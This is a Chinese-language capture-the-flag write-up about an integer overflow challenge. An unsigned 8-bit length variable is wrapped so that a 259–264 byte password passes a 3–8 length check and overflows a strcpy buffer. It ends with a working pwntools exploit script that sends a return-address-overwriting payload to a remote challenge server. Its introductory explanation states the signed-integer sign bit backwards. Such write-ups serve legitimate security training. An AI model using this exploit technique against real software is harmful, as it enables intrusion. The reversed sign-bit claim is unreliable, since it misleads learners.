題目來源:攻防世界
題目知識點:整數溢出
整數溢出原理
整數分為有符號和無符號兩種類型,有符號數以最高位作為其符號位,即正整數最高位為 1,負數為 0,無符號數取值范圍為非負數,常見各類型占用字節數如下:
類型 | 占用字節 | 取值范圍 |
---|---|---|
int | 4 | -2147483648~2147483647 |
short int | 2 | -32768~32767 |
long int | 4 | -2147483648~2147483647 |
unsigned int | 4 | 0~4294967295 |
unsigned short int | 2 | 0~65535 |
unsigned long int | 4 | 0~4294967295 |
也就是說,對於一個2字節的unsigned short int型變量,它的有效數據長度為兩個字節,當它的數據長度超過兩個字節時,就溢出,溢出的部分則直接忽略,使用相關變量時,使用的數據僅為最后2個字節,因此就會出現65539等於3的情況,其他類型變量和數值與之類似。
正文
使用ida工具進行分析得到,main函數無異常。
進入login函數分析。
發現程序可接受用戶輸入,最大為0x199
長度的passwd。進入check_passwd函數進行分析。
使用一個字節,既8bit的一個變量存儲用戶輸入的密碼長度。之后進行了一個strcpy
函數,在此處存在棧溢出,但是需要突破密碼長度限制。此處,可以使用整數溢出。8bit變量,且為unsigned
。那么其可存儲范圍是0~255
。
這里,要求密碼長度為3~8
,但是如果使用溢出,長度可以為259~264
。我們可以任意選取一個長度,因為這個長度范圍,已經足夠我們執行棧溢出。
from pwn import * #sh = process('./abd631bc00e445608f5f2af2cb0c151a') sh = remote('111.198.29.45',32377) sh.recvuntil('Your choice:') sh.sendline('1') sh.recvuntil('your username:\n') sh.sendline('Mr_hello') sh.recvuntil('your passwd:\n') payload = 'a' * 0x18 + p32(0x804868B) + 'b' * 232 sh.sendline(payload) print sh.recvall()